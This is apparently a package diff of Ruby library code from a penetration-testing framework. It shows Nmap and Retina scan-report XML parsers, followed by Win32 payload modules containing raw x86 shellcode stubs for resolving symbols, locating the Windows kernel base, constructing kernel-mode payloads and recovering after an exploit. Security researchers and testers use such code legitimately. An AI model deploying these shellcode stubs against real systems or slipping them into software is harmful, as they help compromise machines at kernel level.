when "port"
|
|
92
|
+
@host["ports"].push(attributes)
|
|
93
|
+
when "state"
|
|
94
|
+
# <state> refers to the state of a port; values are "open", "closed", or "filtered"
|
|
95
|
+
@host["ports"].last["state"] = attributes["state"]
|
|
96
|
+
when "service"
|
|
97
|
+
# Store any service and script info with the associated port. There shouldn't
|
|
98
|
+
# be any collisions on attribute names here, so just merge them.
|
|
99
|
+
@host["ports"].last.merge!(attributes)
|
|
100
|
+
when "script"
|
|
101
|
+
@host["ports"].last["scripts"] ||= {}
|
|
102
|
+
@host["ports"].last["scripts"][attributes["id"]] = attributes["output"]
|
|
103
|
+
when "trace"
|
|
104
|
+
@host["trace"] = {"port" => attributes["port"], "proto" => attributes["proto"], "hops" => [] }
|
|
105
|
+
when "hop"
|
|
106
|
+
if @host["trace"]
|
|
107
|
+
@host["trace"]["hops"].push(attributes)
|
|
108
|
+
end
|
|
109
|
+
end
|
|
110
|
+
end
|
|
111
|
+
|
|
112
|
+
def tag_end(name)
|
|
113
|
+
case name
|
|
114
|
+
when "host"
|
|
115
|
+
on_found_host.call(@host) if on_found_host
|
|
116
|
+
reset_state
|
|
117
|
+
end
|
|
118
|
+
end
|
|
119
|
+
|
|
120
|
+
# We don't need these methods, but they're necessary to keep REXML happy
|
|
121
|
+
def text(str) # :nodoc:
|
|
122
|
+
end
|
|
123
|
+
def xmldecl(version, encoding, standalone) # :nodoc:
|
|
124
|
+
end
|
|
125
|
+
def cdata # :nodoc:
|
|
126
|
+
end
|
|
127
|
+
def comment(str) # :nodoc:
|
|
128
|
+
end
|
|
129
|
+
def instruction(name, instruction) # :nodoc:
|
|
130
|
+
end
|
|
131
|
+
def attlist # :nodoc:
|
|
132
|
+
end
|
|
133
|
+
end
|
|
134
|
+
|
|
135
|
+
end
|
|
136
|
+
end
|
|
137
|
+
|
|
@@ -0,0 +1,109 @@
|
|
|
1
|
+
module Rex
|
|
2
|
+
module Parser
|
|
3
|
+
|
|
4
|
+
# XXX - Retina XML does not include ANY service/port information export
|
|
5
|
+
class RetinaXMLStreamParser
|
|
6
|
+
|
|
7
|
+
attr_accessor :on_found_host
|
|
8
|
+
|
|
9
|
+
def initialize(on_found_host = nil)
|
|
10
|
+
reset_state
|
|
11
|
+
self.on_found_host = on_found_host if on_found_host
|
|
12
|
+
end
|
|
13
|
+
|
|
14
|
+
def reset_state
|
|
15
|
+
@state = :generic_state
|
|
16
|
+
@host = { 'vulns' => [] }
|
|
17
|
+
reset_audit_state
|
|
18
|
+
end
|
|
19
|
+
|
|
20
|
+
def reset_audit_state
|
|
21
|
+
@audit = { 'refs' => [] }
|
|
22
|
+
end
|
|
23
|
+
|
|
24
|
+
def tag_start(name, attributes)
|
|
25
|
+
@state = "in_#{name.downcase}".intern
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
def text(str)
|
|
29
|
+
case @state
|
|
30
|
+
when :in_ip
|
|
31
|
+
@host["address"] = str
|
|
32
|
+
when :in_dnsname
|
|
33
|
+
@host["hostname"] = str.split(/\s+/).first
|
|
34
|
+
when :in_netbiosname
|
|
35
|
+
@host["netbios"] = str
|
|
36
|
+
when :in_mac
|
|
37
|
+
@host["mac"] = str
|
|
38
|
+
when :in_os
|
|
39
|
+
@host["os"] = str
|
|
40
|
+
when :in_rthid
|
|
41
|
+
@audit['refs'].push(['RETINA', str])
|
|
42
|
+
when :in_cve
|
|
43
|
+
str.split(",").each do |cve|
|
|
44
|
+
cve = cve.to_s.strip
|
|
45
|
+
next if cve.empty?
|
|
46
|
+
pre,val = cve.split('-', 2)
|
|
47
|
+
next if not val
|
|
48
|
+
next if pre != "CVE"
|
|
49
|
+
@audit['refs'].push( ['CVE', val] )
|
|
50
|
+
end
|
|
51
|
+
when :in_name
|
|
52
|
+
@audit['name'] = str
|
|
53
|
+
when :in_description
|
|
54
|
+
@audit['description'] = str
|
|
55
|
+
when :in_risk
|
|
56
|
+
@audit['risk'] = str
|
|
57
|
+
when :in_cce
|
|
58
|
+
@audit['cce'] = str
|
|
59
|
+
when :in_date
|
|
60
|
+
@audit['data'] = str
|
|
61
|
+
end
|
|
62
|
+
end
|
|
63
|
+
|
|
64
|
+
def tag_end(name)
|
|
65
|
+
case name
|
|
66
|
+
when "host"
|
|
67
|
+
on_found_host.call(@host) if on_found_host
|
|
68
|
+
reset_state
|
|
69
|
+
when "audit"
|
|
70
|
+
@host['vulns'].push @audit
|
|
71
|
+
reset_audit_state
|
|
72
|
+
end
|
|
73
|
+
end
|
|
74
|
+
|
|
75
|
+
# We don't need these methods, but they're necessary to keep REXML happy
|
|
76
|
+
def xmldecl(version, encoding, standalone); end
|
|
77
|
+
def cdata; end
|
|
78
|
+
def comment(str); end
|
|
79
|
+
def instruction(name, instruction); end
|
|
80
|
+
def attlist; end
|
|
81
|
+
end
|
|
82
|
+
end
|
|
83
|
+
end
|
|
84
|
+
|
|
85
|
+
__END__
|
|
86
|
+
<scanJob>
|
|
87
|
+
<hosts>
|
|
88
|
+
<host>
|
|
89
|
+
<ip>10.2.79.98</ip>
|
|
90
|
+
<netBIOSName>bsmith-10156B07C</netBIOSName>
|
|
91
|
+
<dnsName>bsmith-10156b07c.core.testcorp.com random.testcorp.com</dnsName>
|
|
92
|
+
<mac>00:02:29:0E:38:2B</mac>
|
|
93
|
+
<os>Windows Server 2003 (X64), Service Pack 2</os>
|
|
94
|
+
<audit>
|
|
95
|
+
<rthID>7851</rthID>
|
|
96
|
+
<cve>CVE-2009-0089,CVE-2009-0550,CVE-2009-0086</cve>
|
|
97
|
+
<cce>N/A</cce>
|
|
98
|
+
<name>Microsoft Windows HTTP Services Multiple Vulnerabilities (960803)</name>
|
|
99
|
+
<description>Microsoft Windows HTTP Services contains multiple vulnerabilities when handling ..</description>
|
|
100
|
+
<date>09/15/2010</date>
|
|
101
|
+
<risk>Low</risk>
|
|
102
|
+
<pciLevel>5 (Urgent)</pciLevel>
|
|
103
|
+
<cvssScore>10 [AV:N/AC:L/Au:N/C:C/I:C/A:C]</cvssScore>
|
|
104
|
+
<fixInformation>....</fixInformation>
|
|
105
|
+
</audit>
|
|
106
|
+
</host>
|
|
107
|
+
</hosts>
|
|
108
|
+
</scanJob>
|
|
109
|
+
|
data/lib/rex/payloads.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
require 'rex/payloads/win32'
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
module Rex
|
|
2
|
+
module Payloads
|
|
3
|
+
module Win32
|
|
4
|
+
|
|
5
|
+
module Common
|
|
6
|
+
|
|
7
|
+
#
|
|
8
|
+
# Returns a stub that resolves the location of a symbol and then
|
|
9
|
+
# calls it. Refer to the following link for more details:
|
|
10
|
+
#
|
|
11
|
+
# http://uninformed.org/index.cgi?v=3&a=4&p=10
|
|
12
|
+
#
|
|
13
|
+
def self.resolve_call_sym
|
|
14
|
+
"\x60\x31\xc9\x8b\x7d\x3c\x8b\x7c\x3d\x78\x01\xef\x8b" +
|
|
15
|
+
"\x57\x20\x01\xea\x8b\x34\x8a\x01\xee\x31\xc0\x99\xac" +
|
|
16
|
+
"\xc1\xca\x0d\x01\xc2\x84\xc0\x75\xf6\x41\x66\x39\xda" +
|
|
17
|
+
"\x75\xe3\x49\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" +
|
|
18
|
+
"\x5f\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" +
|
|
19
|
+
"\x61\xff\xe0"
|
|
20
|
+
end
|
|
21
|
+
|
|
22
|
+
end
|
|
23
|
+
|
|
24
|
+
end
|
|
25
|
+
end
|
|
26
|
+
end
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
module Rex
|
|
2
|
+
module Payloads
|
|
3
|
+
module Win32
|
|
4
|
+
|
|
5
|
+
require 'rex/payloads/win32/kernel/common'
|
|
6
|
+
require 'rex/payloads/win32/kernel/recovery'
|
|
7
|
+
require 'rex/payloads/win32/kernel/stager'
|
|
8
|
+
require 'rex/payloads/win32/kernel/migration'
|
|
9
|
+
|
|
10
|
+
module Kernel
|
|
11
|
+
|
|
12
|
+
#
|
|
13
|
+
# Constructs a kernel-mode payload using the supplied options. The options
|
|
14
|
+
# can be:
|
|
15
|
+
#
|
|
16
|
+
# Recovery : The recovery method to use, such as 'spin'.
|
|
17
|
+
# Stager : The stager method to use, such as 'sud_syscall_hook'.
|
|
18
|
+
# RecoveryStub : The recovery stub that should be used, if any.
|
|
19
|
+
# UserModeStub : The user-mode payload to execute, if any.
|
|
20
|
+
# KernelModeStub: The kernel-mode payload to execute, if any.
|
|
21
|
+
#
|
|
22
|
+
def self.construct(opts = {})
|
|
23
|
+
payload = nil
|
|
24
|
+
|
|
25
|
+
# Generate the recovery stub
|
|
26
|
+
if opts['Recovery'] and Kernel::Recovery.respond_to?(opts['Recovery'])
|
|
27
|
+
opts['RecoveryStub'] = Kernel::Recovery.send(opts['Recovery'], opts)
|
|
28
|
+
end
|
|
29
|
+
|
|
30
|
+
# Append supplied recovery stub information in case there is some
|
|
31
|
+
# context specific recovery that must be done.
|
|
32
|
+
if opts['AppendRecoveryStub']
|
|
33
|
+
opts['RecoveryStub'] = (opts['RecoveryStub'] || '') + opts['AppendRecoveryStub']
|
|
34
|
+
end
|
|
35
|
+
|
|
36
|
+
# Generate the stager
|
|
37
|
+
if opts['Stager'] and Kernel::Stager.respond_to?(opts['Stager'])
|
|
38
|
+
payload = Kernel::Stager.send(opts['Stager'], opts)
|
|
39
|
+
# Or, generate the migrator
|
|
40
|
+
elsif opts['Migrator'] and Kernel::Migration.respond_to?(opts['Migrator'])
|
|
41
|
+
payload = Kernel::Migration.send(opts['Migrator'], opts)
|
|
42
|
+
else
|
|
43
|
+
raise ArgumentError, "A stager or a migrator must be specified."
|
|
44
|
+
end
|
|
45
|
+
|
|
46
|
+
payload
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
end
|
|
50
|
+
|
|
51
|
+
end
|
|
52
|
+
end
|
|
53
|
+
end
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
module Rex
|
|
2
|
+
module Payloads
|
|
3
|
+
module Win32
|
|
4
|
+
module Kernel
|
|
5
|
+
|
|
6
|
+
require 'rex/payloads/win32/common'
|
|
7
|
+
|
|
8
|
+
#
|
|
9
|
+
# This class provides common methods that may be shared across more than
|
|
10
|
+
# one kernel-mode payload. Many of these are from the following paper:
|
|
11
|
+
#
|
|
12
|
+
# http://www.uninformed.org/?v=3&a=4&t=sumry
|
|
13
|
+
#
|
|
14
|
+
module Common
|
|
15
|
+
|
|
16
|
+
#
|
|
17
|
+
# Returns a stub that will find the base address of ntoskrnl and
|
|
18
|
+
# place it in eax. This method works by using an IDT entry. Credit
|
|
19
|
+
# to eEye.
|
|
20
|
+
#
|
|
21
|
+
def self.find_nt_idt_eeye
|
|
22
|
+
"\x8b\x35\x38\xf0\xdf\xff\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7"
|
|
23
|
+
end
|
|
24
|
+
|
|
25
|
+
#
|
|
26
|
+
# Returns a stub that will find the base address of ntoskrnl and
|
|
27
|
+
# place it in eax. This method uses a pointer found in KdVersionBlock.
|
|
28
|
+
#
|
|
29
|
+
def self.find_nt_kdversionblock
|
|
30
|
+
"\x31\xc0\x64\x8b\x40\x34\x8b\x40\x10"
|
|
31
|
+
end
|
|
32
|
+
|
|
33
|
+
#
|
|
34
|
+
# Returns a stub that will find the base address of ntoskrnl and
|
|
35
|
+
# place it in eax. This method uses a pointer found in the
|
|
36
|
+
# processor control region as a starting point.
|
|
37
|
+
#
|
|
38
|
+
def self.find_nt_pcr
|
|
39
|
+
"\xa1\x2c\xf1\xdf\xff\x66\x25\x01\xf0\x48\x66\x81\x38\x4d\x5a\x75\xf4"
|
|
40
|
+
end
|
|
41
|
+
|
|
42
|
+
#
|
|
43
|
+
# Alias for resolving symbols.
|
|
44
|
+
#
|
|
45
|
+
def self.resolve_call_sym
|
|
46
|
+
Rex::Payloads::Win32::Common.resolve_call_sym
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
end
|
|
50
|
+
|
|
51
|
+
end
|
|
52
|
+
end
|
|
53
|
+
end
|
|
54
|
+
end
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
module Rex
|
|
2
|
+
module Payloads
|
|
3
|
+
module Win32
|
|
4
|
+
module Kernel
|
|
5
|
+
|
|
6
|
+
#
|
|
7
|
+
# Recovery stubs are responsible for ensuring that the kernel does not crash.
|
|
8
|
+
# They must 'recover' after the exploit has succeeded, either by consuming
|
|
9
|
+
# the thread or continuing it on with its normal execution. Recovery stubs
|
|
10
|
+
# will often be exploit dependent.
|
|
11
|
+
#
|
|
12
|
+
module Recovery
|
|
13
|
+
|
|
14
|
+
#
|
|
15
|
+
# The default recovery method is to spin the thread
|
|
16
|
+
#
|
|
17
|
+
def self.default(opts = {})
|
|
18
|
+
spin(opts)
|
|
19
|
+
end
|
|
20
|
+
|
|
21
|
+
#
|
|
22
|
+
# Infinite 'hlt' loop.
|
|
23
|
+
#
|
|
24
|
+
def self.spin(opts = {})
|
|
25
|
+
"\xf4\xeb\xfd"
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
#
|
|
29
|
+
# Restarts the idle thread by jumping back to the entry point of
|
|
30
|
+
# KiIdleLoop. This requires a hard-coded address of KiIdleLoop.
|
|
31
|
+
# You can pass the 'KiIdleLoopAddress' in the options hash.
|
|
32
|
+
#
|
|
33
|
+
def self.idlethread_restart(opts = {})
|
|
34
|
+
# Default to fully patched XPSP2
|
|
35
|
+
opts['KiIdleLoopAddress'] = 0x804dbb27 if opts['KiIdleLoopAddress'].nil?
|
|
36
|
+
|
|
37
|
+
"\x31\xC0" + # xor eax,eax
|
|
38
|
+
"\x64\xC6\x40\x24\x02" + # mov byte [fs:eax+0x24],0x2
|
|
39
|
+
"\x8B\x1D\x1C\xF0\xDF\xFF" + # mov ebx,[0xffdff01c]
|
|
40
|
+
"\xB8" + [opts['KiIdleLoopAddress']].pack('V') + # mov eax, 0x804dbb27
|
|
41
|
+
"\x6A\x00" + # push byte +0x0
|
|
42
|
+
"\xFF\xE0" # jmp eax
|
|
43
|
+
end
|
|
44
|
+
|
|
45
|
+
end
|
|
46
|
+
|
|
47
|
+
end
|
|
48
|
+
end
|
|
49
|
+
end
|
|
50
|
+
end
|